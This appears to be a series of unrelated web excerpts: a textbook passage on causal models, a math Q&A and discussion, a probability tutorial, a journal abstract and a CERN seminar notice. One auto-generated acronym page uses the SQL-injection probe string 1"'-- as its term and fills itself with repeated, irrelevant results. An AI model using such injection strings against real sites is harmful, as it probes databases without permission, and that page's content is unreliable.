A primitive atom is an atom that is defined using facts. A derived atom is an atom that is defined using rules. Typically, the designer writes axioms for the derived atoms and then expects a user to specify which primitive atoms are true. Thus, a derived atom will be inferred as necessary from the primitive atoms and other atoms that can be derived.
The designer of an agent must make many decisions when designing a knowledge base for a domain. For example, consider two propositions, $a$ and $b$, both of which are true. There are many choices of how to write this. A designer could specify both $a$ and $b$ as atomic clauses, treating both as primitive. A designer could have $a$ as primitive and $b$ as derived, stating $a$ as an atomic clause and giving the rule $b\leftarrow\mbox{}a$. Alternatively, the designer could specify the atomic clause $b$ and the rule $a\leftarrow\mbox{}b$, treating $b$ as primitive and $a$ as derived. These representations are logically equivalent; they cannot be distinguished logically. However, they have different effects when the knowledge base is changed. Suppose $a$ was no longer true for some reason. In the first and third representations, $b$ would still be true, and in the second representation $b$ would no longer true.
A causal model, or a model of causality, is a representation of a domain that predicts the results of interventions. An intervention is an action that forces a variable to have a particular value. That is, an intervention changes the value in some way other than manipulating other variables in the model.
To predict the effect of interventions, a causal model represents how the cause implies its effect. When the cause is changed, its effect should be changed. An evidential model represents a domain in the other direction – from effect to cause. Note that we do not assume that there is “the cause” of an effect; rather there are propositions, which together may cause the effect to become true.
###### Example 5.36.
In the electrical domain depicted in Figure 5.2, consider the relationship between switches $s_{1}$ and $s_{2}$ and light $l_{1}$. Assume all components are working properly. Light $l_{1}$ is lit whenever both switches are up or both switches are down. Thus,
${\mbox{lit\_l}_{1}\leftrightarrow(\mbox{up\_s}_{1}\iff\mbox{up\_s}_{2}).}$ (5.1)
This is logically equivalent to
${\mbox{up\_s}_{1}\leftrightarrow(\mbox{lit\_l}_{1}\iff\mbox{up\_s}_{2}).}$
This formula is symmetric between the three propositions; it is true if and only if an odd number of the propositions are true. However, in the world, the relationship between these propositions is not symmetric. Suppose both switches were up and the light was lit. Putting $s_{1}$ down does not make $s_{2}$ go down to preserve $\mbox{lit\_l}_{1}$. Instead, putting $s_{1}$ down makes $\mbox{lit\_l}_{1}$ false, and $\mbox{up\_s}_{2}$ remains true. Thus, to predict the result of interventions, we require more than proposition (5.1) above.
A causal model is
$\displaystyle{\mbox{lit\_l}_{1}\leftarrow\mbox{}\mbox{up\_s}_{1}\wedge\mbox{}% \mbox{up\_s}_{2}.}$ $\displaystyle{\mbox{lit\_l}_{1}\leftarrow\mbox{}\mbox{\sim}\mbox{up\_s}_{1}% \wedge\mbox{}\mbox{\sim}\mbox{up\_s}_{2}.}$
The completion of this is equivalent to proposition (5.1); however, it makes reasonable predictions when one of the values is changed. Changing one of the switch positions changes whether the light is lit, but changing whether the light is lit (by some other mechanism) does not change whether the switches are up or down.
An evidential model is
$\displaystyle{\mbox{up\_s}_{1}\leftarrow\mbox{}\mbox{lit\_l}_{1}\wedge\mbox{up% \_s}_{2}.}$ $\displaystyle{\mbox{up\_s}_{1}\leftarrow\mbox{}\mbox{\sim}\mbox{lit\_l}_{1}% \wedge\mbox{\sim}\mbox{up\_s}_{2}.}$
This can be used to answer questions about whether $s_{1}$ is up based on the position of $s_{2}$ and whether $l_{1}$ is lit. Its completion is also equivalent to formula (5.1). However, it does not accurately predict the effect of interventions.
For most purposes, it is preferable to use a causal model of the world as it is more transparent, stable and modular than an evidential model.
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# Acronym/Abbreviation meaning of 1"'-- (2)
The acronym 1"'--(2) means : 1
Acronyms, abbreviations and meanings similar to 1"'--
## Famous / Popular results for 1"'--
UEFA Euro 2020 qualifying
in question; If, after having applied criteria 1 to 4, teams still have an equal ranking, criteria 1 to 4 are reapplied exclusively to the matches between
List of countries and dependencies by population
inclusion within the list being primarily based on the ISO standard ISO 3166-1. For instance, the United Kingdom is considered as a single entity, while
List of municipalities in Michigan
but the 22nd largest by land area spanning 56,538.90 square miles (146,435.1 km2) of land. Michigan is divided into 83 counties and contains 533 incorporated
Standard deviation
1%. A more accurate approximation is to replace N − 1.5 {\displaystyle N-1.5} above with N − 1.5 + 1 / ( 8 ( N − 1 ) ) {\displaystyle N-1.5+1/(8(N-1))}
1
1 (one, also called unit, unity, and (multiplicative) identity) is a number, and a numerical digit used to represent that number in numerals. It represents
Chandrayaan-1
Chandrayaan-1 (transl. Moon-craft, pronunciation (help·info)) was the first Indian lunar probe under Chandrayaan program. It was launched by the Indian
USB
power): IEC 62680-1.1:2015 - Part 1-1: Common components - USB Battery Charging Specification, Revision 1.2 IEC 62680-1-2:2018 - Part 1-2: Common components
Normal distribution
a + b = 1 1 a + 1 b = ( a − 1 + b − 1 ) − 1 . {\displaystyle {\frac {ab}{a+b}}={\frac {1}{{\frac {1}{a}}+{\frac {1}{b}}}}=(a^{-1}+b^{-1})^{-1}.} This
Fibonacci number
the eight compositions summing to 5: 5 = 1+1+1+1+1 = 1+1+1+2 = 1+1+2+1 = 1+2+1+1 = 2+1+1+1 = 2+2+1 = 2+1+2 = 1+2+2. The Fibonacci numbers can be found
Hypertext Transfer Protocol
HTTP/1.1: Semantics and Content RFC 7232, HTTP/1.1: Conditional Requests RFC 7233, HTTP/1.1: Range Requests RFC 7234, HTTP/1.1: Caching RFC 7235, HTTP/1.1:
UEFA Euro 2020 qualifying
in question; If, after having applied criteria 1 to 4, teams still have an equal ranking, criteria 1 to 4 are reapplied exclusively to the matches between
List of countries and dependencies by population
inclusion within the list being primarily based on the ISO standard ISO 3166-1. For instance, the United Kingdom is considered as a single entity, while
List of municipalities in Michigan
but the 22nd largest by land area spanning 56,538.90 square miles (146,435.1 km2) of land. Michigan is divided into 83 counties and contains 533 incorporated
Standard deviation
1%. A more accurate approximation is to replace N − 1.5 {\displaystyle N-1.5} above with N − 1.5 + 1 / ( 8 ( N − 1 ) ) {\displaystyle N-1.5+1/(8(N-1))}
1
1 (one, also called unit, unity, and (multiplicative) identity) is a number, and a numerical digit used to represent that number in numerals. It represents
Chandrayaan-1
Chandrayaan-1 (transl. Moon-craft, pronunciation (help·info)) was the first Indian lunar probe under Chandrayaan program. It was launched by the Indian
USB
power): IEC 62680-1.1:2015 - Part 1-1: Common components - USB Battery Charging Specification, Revision 1.2 IEC 62680-1-2:2018 - Part 1-2: Common components
Normal distribution
a + b = 1 1 a + 1 b = ( a − 1 + b − 1 ) − 1 . {\displaystyle {\frac {ab}{a+b}}={\frac {1}{{\frac {1}{a}}+{\frac {1}{b}}}}=(a^{-1}+b^{-1})^{-1}.} This
Fibonacci number
the eight compositions summing to 5: 5 = 1+1+1+1+1 = 1+1+1+2 = 1+1+2+1 = 1+2+1+1 = 2+1+1+1 = 2+2+1 = 2+1+2 = 1+2+2. The Fibonacci numbers can be found
Hypertext Transfer Protocol
HTTP/1.1: Semantics and Content RFC 7232, HTTP/1.1: Conditional Requests RFC 7233, HTTP/1.1: Range Requests RFC 7234, HTTP/1.1: Caching RFC 7235, HTTP/1.1:
## Twitter Search Results for 1"'--
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## Meaning of LCLS
LCLS means: Linac Coherent Light Source
## Meaning of NCAT
NCAT means: National Catalog Database (accessible Through OLS)
## Meaning of PEM
PEM means: Proton Exchange Membrane
## Meaning of LFO
LFO means: Low Frequency Oscillator
## Meaning of CONMEBOL
CONMEBOL means: Confederacin Sudamericana De Ftbol (Spanish
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# American Institute of Mathematical Sciences
July 2007, 1(3): 477-543. doi: 10.3934/jmd.2007.1.477
## Renormalization and central limit theorem for critical dynamical systems with weak external noise
1 Department of Mathematics & Statistics, McMaster University, Hamilton, ON L9H 1X2, Canada 2 Department of Mathematics, The University of Texas at Austin, 1 University Station C1200, Austin, TX 78712-0257, United States
Received August 2006 Revised April 2007 Published April 2007
We study the effect of weak noise on critical one-dimensional maps; that is, maps with a renormalization theory.
We establish a one-dimensional central limit theorem for weak noise and obtain Berry--Esseen estimates for the rate of this convergence.
We analyze in detail maps at the accumulation of period doubling and critical circle maps with golden mean rotation number. Using renormalization group methods, we derive scaling relations for several features of the effective noise after long periods. We use these scaling relations to show that the central limit theorem for weak noise holds in both examples.
We note that, for the results presented here, it is essential that the maps have parabolic behavior. They are false for hyperbolic orbits.
Citation: Oliver Díaz-Espinosa, Rafael de la Llave. Renormalization and central limit theorem for critical dynamical systems with weak external noise. Journal of Modern Dynamics, 2007, 1 (3) : 477-543. doi: 10.3934/jmd.2007.1.477
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2019 Impact Factor: 0.465
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# conditions for LU on a $2 \times 2$ matrix
I have $$A= \begin{bmatrix} a & b \\ c & d \\ \end{bmatrix}$$ I want to do LU factorization on it, so I need to find the elementary matrix $E$ such that $EA=U$ and thus $L=E^{-1}$. So I know I need the row operation $aR_2-cR_1\rightarrow R_2$, but how do I represent $E$ with this row operation? I know that if it were just $R_2-cR_1\rightarrow R_2$ the elementary matrix would be $$\begin{bmatrix} 1 & 0 \\ -c & 1 \\ \end{bmatrix}$$ How do I get the $a$ involved?
$aR_2-cR_1\rightarrow R_2$ is not an elementary operation, but the result of two consecutive row operations. First, we set $aR_2 \to R_2$, then, we set $R_2 - cR_1 \to R_2$. So, we would have the product of two elementary matrices, namely $$E_2 E_1 = \begin{bmatrix} 1&0\\ -c&1 \end{bmatrix} \begin{bmatrix} 1 & 0\\ 0 & a \end{bmatrix} = \begin{bmatrix} 1 & 0\\ -c & a \end{bmatrix}$$
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# What is the importance of Calculus in today's Mathematics?
For engineering (e. g. electrical engineering) and physics, Calculus is important. But for a future mathematician, is the classical approach to Calculus still important? What is normally taught, as a minimum, in most Universities worldwide?
Added the [calculus] and the [multivariable-calculus] tags.
Edit: Hoping it is useful, I transcribe three comments of mine (to this question):
1. I had [have] in mind for instance Tom Apostol's books, although learning differentiation before integration. (in response to Qiaochu Yuan's "What is the classical approach to calculus?")
2. Elementary Calculus, continuous functions, functions of several variables, partial differentiation, implicit-functions, vectors and vector fields, multiple integrals, infinite series, uniform convergence, power series, Fourier series and integrals, etc. (in response to a comment by Geoff Robinson).
3. I had [have] in mind calculus for math students, although I am a retired electrical engineer. (in response to Andy's comment "Are you talking about what is usually taught to engineers and physicists, or also about a calculus curriculum for math majors? ")
I decided to make this question a CW (see this meta question).
• Sadly, for many mathematicians, teaching calculus to future engineering and physics students is how you pay the bills. Aug 17 '11 at 17:07
• What is the classical approach to calculus? Aug 17 '11 at 17:12
• I can't see doing complex variables without first doing calculus.
– Joe
Aug 17 '11 at 17:12
• A tangential remark: looking at the kind of math I need to know now, and also looking at real world applications, I would say that undergrad programs should emphasize linear algebra more heavily than they currently do, esp. compared to calculus. Aug 17 '11 at 17:28
• @Américo: everything you list is extremely important, even in pure mathematics. How could it not be? Aug 17 '11 at 17:31
In a comment to his question, Américo has clarified that by "classical calculus" he means something relatively rigorous and theoretical, as for instance in Apostol's book (or Spivak's). I think the answer to the question was probably yes no matter what, but when restricted in this way it becomes a big booming YES.
The methods of rigorous calculus -- may I say elementary real analysis? it seems more specific -- are an indispensable part of the cultural knowledge of all mathematicians, pure and applied. Not all mathematicians will directly use this material in their work: I for one am a mathematician with relatively broad interests almost to a fault, but I have never written "by the Fundamental Theorem of Calculus" or "by the Mean Value Theorem" in any of my research papers. But nevertheless familiarity and even deep understanding of these basic ideas and themes permeates all of modern mathematics. For instance, as an arithmetic geometer the functions I differentiate are usually polynomials or rational functions, but the idea of differentiation is still there, in fact abstracted in the notion of derivations and modules of differentials. One of the most important concepts in algebraic / arithmetic geometry is smoothness, and although you could in principle try to swallow this as a piece of pure algebra, I say good luck with that if you have never taken multivariable calculus and understood the inverse and implicit function theorems.
Eschewing "classical" mathematics in favor of more modern, abstract or specialized topics is one of the biggest traps a bright young student of mathematics can fall into. (If you spend any time at a place like Harvard, as I did as a graduate student, you see undergraduates falling for this with distressing regularity, almost as if the floor outside your office was carpeted with banana peels.) The people who created the fancy modern machinery did so by virtue of their knowledge of classical stuff, and are responding to it in ways that are profound even if they are unfortunately not made explicit. Although I am very far from really knowing what I'm talking about here, my feeling is that the analogy to the fine arts is rather apt: abstract modern art is very much a response to classical, figurative, realistic (I was tempted to say "mimetic", so I had better end this digression soon!) art: if you decide to forego learning about perspective in favor of arranging black squares on a white canvas, you're severely missing the point.
The material of elementary real analysis -- and even freshman calculus -- is remarkably rich. I have taught more or less the same freshman calculus courses about a dozen times, and each time I find something new to think about, sometimes in resonance with my other mathematical thoughts of the moment but sometimes I just find that I have the chance to stop and think about something that never occurred to me before. Once for instance I was talking about computing volumes of solids of revolution and it occurred to me that I had never thought about proving in general that the method of shells will give the same answer as the method of washers. It was pretty good fun to do it, and I mentioned it to a couple of my colleagues and they had a similar reaction: "No, I never thought of that before, but it sounds like fun." There are thousands of little projects and discoveries like this in freshman calculus.
I confess though that it would be interesting to hear mathematicians talk about parts of calculus that they never liked and never had any use for. As for me, I really dread the part of the course where we do related rates problems and min / max problems. The former seems like an exercise whose only point is to exploit -- sometimes to the point of cruelty -- the shakiness of students' understanding of implicit differentiation, and the latter was sort of fun for me for the first ten problems but twenty years and thousands of min / max problems later I could hardly imagine something more tedious. (Moreover I am not that good at these problems. I had a couple of embarrassing failures as a graduate student, and ever since I look to make sure I can do the problems before I assign them, something I have stopped needing to do in most other undergraduate courses.)
Added: Let me be explicit that I am not answering the second part of the question, i.e., what is a minimum that is or should be taught. It goes hand in hand with the richness of these topics that if you tried to make a list of everything that it would be valuable for students to know, your (surely severely incomplete!) list would contain vastly more material than could be reasonably covered in the allotted courses. This is one subject where books which aim to be "comprehensive" come off as pretty daunting. For instance I own the first of Courant and John's two volumes on advanced calculus: it's more than six hundred pages! Is there anything in there which I am willing to point to as "dispensable"? Not much. (Not to mention that the second volume of their work comes in two parts, the second part of which is itself 954 pages long!) The challenge of teaching these courses lies in the fact that the potential landscape is almost infinite and virtually none of it manifestly unimportant, so you have to make hard choices about what not to do.
• +1. I totally agree with you that "eschewing 'classical' mathematics in favor of more modern, abstract or specialized topics is one of the biggest traps a bright young student of mathematics can fall into." This is really a wonderful answer. How I wish I can vote twice.
– user9464
Aug 17 '11 at 18:34
• @Tilo: I'm sorry you found my answer condescending and rude. That was certainly not my intent. The question asked for, in part, an opinion about university level mathematics education. I am, in part, a math teacher at the university level, and I am giving my "professional" opinion and relating my experiences. Advice by its nature has a take-it-or-leave-it quality: if you choose not to take it, I would be interested to hear from you later on to see how things worked out. (Let me also note that one of the people who agreed with me above is an actual Harvard undergraduate...) Aug 17 '11 at 22:29
• @Pete: It may very well be the case that there are people who have the issues you describe, I just felt that I had to say that there are those of us who find that it is the very "abstractness" of "modern mathematics" which makes it appealing. Aug 18 '11 at 0:26
• @Tilo: I've seen what Pete is referring to. And this is a problem not just in mathematics, but many other subjects as well. An analogy to physics might be a string theory student that isn't familiar with the Standard Model, or the Higgs mechanism or something like that. In mathematics, one frequently comes across people who misunderstand the nature of a subject because of its abstractness -- theorems that they thought were deep theorems in their abstract subject being mere dressed-up versions of basic theorems in a far more classical area. Aug 18 '11 at 0:47
• @Tilo: I understand the appeal of abstraction very well. However, I know quite a few people who deal with abstraction without being able to give a single reasonable example (I'm in danger of this, too). Model categories, derived categories, topoi, whatever else your favorite beast at the moment, are definitely nice and useful. But learning about them without knowing about their motivation seems a bit pointless. It is impossible to deny that modern set theory and category theory have concrete origins. Ignoring that may well mean missing a significant aspect if not the entire point.
– t.b.
Aug 18 '11 at 0:56
[I've decided to weigh in even though I am neither particularly experienced in mathematics or pedagogy. But, now feels like a good time to procrastinate from work...]
It is possible to learn reasonable chunks of 20th century mathematics without knowing what a derivative is. For instance, let's take abstract algebraic geometry: most of Grothendieck's theory (as developed in EGA/Hartshorne) requires several prerequisites (sheaf theory, homological algebra, general topology, commutative rings) but notably not calculus. An advanced undergraduate (who has studied all this and much more) once told me he did not know the definition of the exponential function. You might object that general topology grew out of foundational questions in analysis, which in turn grew out of calculus; however, one can define the requisite notions (topological spaces, continuity, connectedness) from first principles. There are in fact essentially no prerequisites for starting general topology, interpreted suitably. Similarly, abstract algebra can be studied from naive set theory, starting with the definition of a group.
Now many of the important results in algebraic geometry do rely on analytic methods; to pick one example, the Kodaira vanishing theorem can be phrased as a purely algebraic statement about smooth projective varieties over a field of characteristic zero. But the usual proof uses complex analytic methods (Hodge theory), and calculus is certainly a logical prerequisite for them. Nonetheless, let's say that you wanted to shun every part of algebraic geometry that depended on analysis; there is still plenty of interesting stuff to think about.
(Maybe Kodaira vanishing is not the best example: Deligne and Illusie apparently found a purely algebraic proof, but only several decades later.)
So does it still make sense to know calculus? I think the answer is a clear yes even if you fall into the hard-line category above. More generally, it helps to have an awareness of the historical context of ideas. Mathematics tends to be heavily cross-pollinated: ideas from one field fertilize another. Many of the greatest ideas in one field are inspired by those of other fields, even if in the final product (the polished version that appears in papers or textbooks). I was recently reading a paper on number theory that claimed to be inspired by an argument of Witten for the very non-number-theoretic Morse inequalities.
Here's an example: there is a notion (as Pete Clark mentions) of a derivation of an algebra: it's a map that behaves like ordinary differentiation does, i.e. satisfies the Leibniz rule. It's entirely possible to define a derivation abstractly and memorize the definition as such, without understanding where it came from -- of course, calculus -- and work with it. In fact, it is possible to treat any mathematical idea in this way -- as a purely self-contained, isolated concept. But most of us (certainly including myself) would instinctively recoil at this.
In general, when confronted with a set of axioms, one asks why they are there. Anyone can dream up a mathematical structure, but only some are interesting; those that are interesting usually are because the axioms are intended to model some idea. For instance, groups model symmetries or transformations of an object. If you are aware of this, then the idea of a group representation becomes more intuitive than if you think of a group exclusively via its literal definition as a set structured in a particular manner.
Mathematics, historically, has not proceeded from the general to the specific, but from the specific to the general. (And back to the specific, sometimes.) Projective and affine varieties came before schemes, $\mathbb{Z}[i]$ came before general Dedekind domains, and integration in euclidean spaces came before modern measure theory. "Categories" may be foundational material, but they were invented to better understand algebraic topology -- a well-established discipline by then. It is of course impossible to learn mathematics in historical order; there is not enough time in one's life, and often there are shortcuts one can take to understanding classical material with a better modern understanding. But if you want to understand and work with the axioms in modern mathematical structures, it seems only natural that you should have some awareness of how people decided to put them in. (In fact, in all the above examples, the axioms for the relevant modern structures (schemes, measures, Dedekind domains) are precisely those intended to model the essential features of the classical examples.)
In short: it is possible to treat mathematics as solely a game played with meaningless marks on paper, devoid of history and culture, in which case ignoring something like calculus is probably feasible, at least if you stick to the appropriate subfields. (Apologies to David Hilbert and Zev Chonoles: neither endorses this approach, but I have to pick on the quote.) But this seems to me neither a sound approach nor a satisfying one.
• Dear Akhil, thank you for your answer. Aug 18 '11 at 10:09
For the second part of your question, namely "What is normally taught, as a minimum, in most Universities worldwide?", I'll try to give my two cents.
I live in Italy and here we don't make any difference between analysis and calculus courses. In my university we have four mandatory courses in analysis, which span from differentiability in one variable to measure theory. I'll give a brief chronological order in which I was taught the main "calculus" curriculum. You should keep in mind that everything had solid theoretical basis (every course is proof oriented).
• Analysis 1
Metric spaces, limits [along with a lot of other stuff, which filled up the course]
This course had very little syllabus mainly because in "metric spaces" we would cover "all" topological properties for metric spaces: openness,closedness,compactness and so on. In the "limit" category we would fit in limits in metric spaces (related with characterization of compactness) and real functions of real variables limits, series and sequences. It was actually a very broad course.
• Analysis 2
Differentiability in one variable, integration in one variable, differentiability in multiple variables, integration in multiple variables [this one was more "calculus" oriented, since the "full" analysis would be given later with measure theory. The variables were real.]
I guess the standard calculus curriculum stops here (but I'm not sure). This is covered in the first two semesters in the first year at my school (and usually all around Italy). The two other courses are in the second year and are way more theoretical than these two; let me know if you think they are relevant, I'll add something about them too.
As for you first question, I'm in no postion to answer, since I'm still young and don't really know where I'm going with all this.
EDIT: to answer @3Sphere's comment I can only tell you that the books recommended for those classes were
• P.M. Soardi, Analisi Matematica
• Rudin, Principles of Mathematical Analysis
• Gelbaum, Holmsted, Counterxamples in Analysis
(for the first course)
• C. Maderna, Analisi Matematica II
(for the second one)
I believe that there won't be any translations for those two books because they are from an editor that does not publish abroad. I'm sorry but I don't know of any italian book you could find in english, I'm sorry. On the other hand, I think that the suggetion of Rudin is quite an indicator that the presentation is quite international anyway (I hope this is clear).
EDIT 2: as per Américo's comment I'll add some info about the other two mandatory courses in analysis
• Analysis 3 Differential equations, sequences and series of functions, integration over curves, differential forms and integration of differential forms over curves, Dini's theorem and implicit functions.
The main part of the program was differential equations, so basically everything else we did we reconnected to those, e.g. series solutions for differential equations and exact differential equations.
• Analysis 4
Lesbegue measure and Lesbegue integral, general measure theory, Haussdorf measure.
This was meant as a natural generalization of the multivariable part of Analysis 2.
• I found that it is more common that the multivariable part of the classes I described be taught during the second year. My school has just (a couple of years ago) changed the curriculum.
– Andy
Aug 17 '11 at 18:25
• What people generally call college calculus here is covered in HIGH SCHOOL in my ancestral land,Andy. You'll see similar cirricula in Germany and some parts of France as well.This is one big reason why America is slowly becoming a third world country academically as well as economically. Aug 17 '11 at 19:46
• You can actually cover differential and integral calculus in one variable (with some theory behind it) in one "kind" of high school here (the system is quite different from the US). But still, when I spent my 4th year of high school in California (senior year for my class), I found the math curriculum wasn't that bad at all, when compared to my "kind" of high school in Italy, which was literature oriented [I didn't like math when I was little].
– Andy
Aug 17 '11 at 19:51
• @Andy It's interesting to know what constitutes "Analysis" in other countries (meaning other than here in the US). Is there a sequence of (English language) texts that you could recommend that would be reflective of the Analysis syllabus you describe? I have seen the analysis texts of Canuto and Tabacco, which are Italian texts that have been translated to English, but their content seems more in-line with computationally-oriented American calculus texts than the more theoretical approach that you describe. Aug 17 '11 at 20:07
• @3Sphere: I edited my question to answer your comment, I'm sorry I can't do more. I'm still a student and I don't have that much knowledge of published books.
– Andy
Aug 17 '11 at 20:35
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# Probability Density Function (PDF)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
## # OVERVIEW OF THE THIRD MAIN CHAPTER #
We consider here continuous random variables, i.e., random variables which can assume infinitely many different values, at least in certain ranges of real numbers.
• Their applications in information and communication technology are manifold.
• They are used, among other things, for the simulation of noise signals and for the description of fading effects.
We restrict ourselves at first to the statistical description of the amplitude distribution. In detail, the following are treated:
• The relationship between »probability density function« $\rm (PDF)$ and »cumulative distribution function« $\rm (CDF)$;
• the calculation of »expected values and moments«;
• some »special cases« of continuous-value distributions:
1. uniform distributed random variables,
2. Gaussian distributed random variables,
3. exponential distributed random variables,
4. Laplace distributed random variables,
5. Rayleigh distributed random variables,
6. Rice distributed random variables,
7. Cauchy distributed random variables;
• the »generation of continuous random variables« on a computer.
Inner statistical dependencies of the underlying processes are not considered here. For this, we refer to the following main chapters 4 and 5.
## Properties of continuous random variables
In the second chapter it was shown that the amplitude distribution of a discrete random variable is completely determined by its $M$ occurrence probabilities, where the level number $M$ usually has a finite value.
$\text{Definition:}$ By a »value-continuous random variable« is meant a random variable whose possible numerical values are uncountable ⇒ $M \to \infty$. In the following, we will often use the short form "continuous random variable".
Further it shall hold:
• In the following we denote continuous random variables (mostly) with $x$ in contrast to the discrete random variables, which are denoted with $z$ as before.
• No statement is made here about a possible time discretization, i.e., continuous random variables can be discrete in time.
• Further, we assume for this chapter that there are no statistical bindings between the individual samples $x_ν$, or at least leave them out of consideration.
Signal and PDF of a Gaussian noise signal
$\text{Example 1:}$ The graphic shows a section of a stochastic noise signal $x(t)$ whose instantaneous value can be taken as a continuous random variable $x$.
• From the »probability density function» $\rm (PDF)$ shown on the right, it can be seen that instantaneous values around the mean $m_1$ occur most frequently for this example signal.
• Since there are no statistical dependencies between the samples $x_ν$, such a signal is also referred to as »white noise«.
## Definition of the probability density function
For a continuous random variable, the probabilities that it takes on quite specific values are zero. Therefore, to describe a continuous random variable, we must always refer to the "probability density function" $\rm (PDF)$.
$\text{Definition:}$ The value of the »probability density function« $f_{x}(x)$ at location $x_\mu$ is equal to the probability that the instantaneous value of the random variable $x$ lies in an (infinitesimally small) interval of width $Δx$ around $x_\mu$, divided by $Δx$:
$$f_x(x=x_\mu) = \lim_{\rm \Delta \it x \hspace{0.05cm}\to \hspace{0.05cm}\rm 0}\frac{\rm Pr \{\it x_\mu-\rm \Delta \it x/\rm 2 \le \it x \le x_\mu \rm +\rm \Delta \it x/\rm 2\} }{\rm \Delta \it x}.$$
This extremely important descriptive variable has the following properties:
• Although from the time course in $\text{Example 1}$ it can be seen that the most frequent signal components lie at $x = m_1$ and the PDF has its largest value here, for a continuous random variable the probability ${\rm Pr}(x = m_1)$, that the instantaneous value is exactly equal to the mean $m_1$, is identically zero.
• For the probability that the random variable lies in the range between $x_{\rm u}$ and $x_{\rm o}$:
$${\rm Pr}(x_{\rm u} \le x \le x_{\rm o})= \int_{x_{\rm u} }^{x_{\rm o} }f_{x}(x) \,{\rm d}x.$$
• As an important normalization property, this yields for the area under the PDF with the boundary transitions $x_{\rm u} → \hspace{0.05cm} - \hspace{0.05cm} ∞$ and $x_{\rm o} → +∞:$
$$\int_{-\infty}^{+\infty} f_{x}(x) \,{\rm d}x = \rm 1.$$
• The corresponding equation for discrete-value, $M$-level random variables states that the sum over the $M$ occurrence probabilities gives the value $1$.
$\text{Note on nomenclature:}$ In the literature, a distinction is often made between the random variable $X$ and its realizations $x ∈ X$.
Thus, the above definition equation is
$$f_{X}(X=x) = \lim_{ {\rm \Delta} x \hspace{0.05cm}\to \hspace{0.05cm} 0}\frac{ {\rm Pr} \{ x - {\rm \Delta} x/2 \le X \le x +{\rm \Delta} x/ 2\} }{ {\rm \Delta} x}.$$
We have largely dispensed with this more precise nomenclature in our learning tutorial $\rm LNTwww$ so as not to use up two letters for one quantity.
• Lowercase letters $($as $x)$ often denote signals and uppercase letters $($as $X)$ the associated spectra in our case.
• Nevertheless, today (2017) we have to honestly admit that the 2001 decision was not entirely happy.
## PDF definition for discrete random variables
For reasons of a uniform representation of all random variables (both discrete-value and continuous-value), it is convenient to define the probability density function also for discrete random variables.
$\text{Definition:}$ Applying the definition equation of the last section to discrete random variables, the PDF takes infinitely large values at some points $x_\mu$ due to the nonvanishingly small probability value and the limit transition  $Δx → 0$.
Thus, the PDF results in a sum of Dirac delta functions ⇒ "distributions":
$$f_{x}(x)=\sum_{\mu=1}^{M}p_\mu\cdot {\rm \delta}( x-x_\mu).$$
The weights of these Dirac delta functions are equal to the probabilities $p_\mu = {\rm Pr}(x = x_\mu$).
Here is another note to help classify the different descriptive quantities for discrete and continuous random variables: Probability and probability density function are related in a similar way as in the book Signal Representation
• a discrete spectral component of a harmonic oscillation ⇒ line spectrum, and
• a continuous spectrum of an energy-limited (pulse-shaped) signal.
Signal and PDF of a ternary signal
$\text{Example 2:}$ Below is a section
• of a rectangular signal with three possible values,
• where the signal value $0 \ \rm V$  occurs twice as often as the outer signal values $(\pm 1 \ \rm V)$.
Thus, the corresponding PDF (values from top to bottom) is:
$$f_{x}(x) = 0.25 \cdot \delta(x - {\rm 1 V})+ 0.5\cdot \delta(x) + 0.25\cdot \delta (x + 1\rm V).$$
For a more in-depth look at the topic covered here, we recommend the following (German language) learning video:
Wahrscheinlichkeit und WDF ⇒ "Probability and probability density function"
## Numerical determination of the PDF
You can see here a scheme for the numerical determination of the probability density function:
Assuming that the random variable $x$ at hand has negligible values outside the range from $x_{\rm min} = -4.02$ to $x_{\rm max} = +4.02$, proceed as follows:
For numerical determination of the PDF Korrektur
1. Divide the range of $x$-values into $I$ intervals of equal width $Δx$ and define a field $\text{PDF}[0 : I-1]$. In the sketch $I = 201$ and accordingly $Δx = 0.04$ is chosen.
2. The random variable $x$ is now called $N$ times in succession, each time checking to which interval $i_{\rm act}$ the current random variable $x_{\rm act}$ belongs:
$i_{\rm act} = ({\rm int})((x + x_{\rm max})/Δx).$
3. The corresponding field element PDF( $i_{\rm act}$) is then incremented by $1$.
4. After $N$ iterations, $\text{PDF}[i_{\rm act}]$ then contains the number of random numbers belonging to the interval $i_{\rm act}$.
5. The actual PDF values are obtained if, at the end, all field elements $\text{PDF}[i]$ with $0 ≤ i ≤ I-1$ are still divided by $N \cdot Δx$.
$\text{Example 3:}$ From the drawn green arrows in the graph above, one can see:
• The value $x_{\rm act} = 0.07$ leads to the result $i_{\rm act} =$ (int) ((0.07 + 4.02)/0.04) = (int) $102.25$.
• Here "(int)" means an integer conversion after float division ⇒ $i_{\rm act} = 102$.
• The same interval $i_{\rm act} = 102$ results for $0.06 < x_{\rm act} < 0.10$, so for example also for $x_{\rm act} = 0.09$.
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The ENUBET experiment and its implementation at CERN
Europe/Paris
200/1-101 - Salle 101 (IJCLab)
200/1-101 - Salle 101
IJCLab
50
Show room on map
• 1
The ENUBET experiment and its implementation at CERN
The main source of systematic uncertainty on neutrino cross section measurements at the GeV scale originates from the poor knowledge of the initial flux. The goal of cutting down this uncertainty to 1% can be achieved through the monitoring of charged leptons produced in association with neutrinos, by properly instrumenting the decay region of a conventional narrow-band neutrino beam. Large angle muons and positrons from kaons are measured by a sampling calorimeter on the decay tunnel walls (tagger), while muon stations after the hadron dump can be used to monitor the neutrino component from pion decays. This instrumentation can provide a full control on both the muon and electron neutrino fluxes at all energies. Furthermore, the narrow momentum width (<10%) of the beam provides a $\mathcal{0}$(10%) measurement of the neutrino energy on an event by event basis, thanks to its correlation with the radial position of the interaction at the neutrino detector. The ENUBET project has been funded by the ERC in 2016 to prove the feasibility of such a monitored neutrino beam and, since 2019, ENUBET is a CERN neutrino platform experiment (NP06/ENUBET). In this seminar, I will present the final results of the ERC project together with the complete assessment of the feasibility of its concept. The breakthrough the project achieved is the design of a horn-less beamline that allows for a 1% measurement of $\nu_e$ and $\nu_{\mu}$ cross sections in about 3 years of data taking at CERN-SPS using ProtoDUNE as far detector. Thanks to the replacement of the horn with a static focusing system (2 s proton extraction) we reduce the pile up by two orders of magnitude, and we can monitor positrons from kaons plus muons from pion and kaon decays with a signal/background >2.
I will discuss, in particular, the ENUBET design, physics performance, and opportunities for its implementation at CERN in a timescale comparable with next long baseline neutrino experiments (DUNE and HyperK).
Speaker: Francesco Terranova (CERN)
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Question: Plotting segment of Granges intervals
0
5.7 years ago by
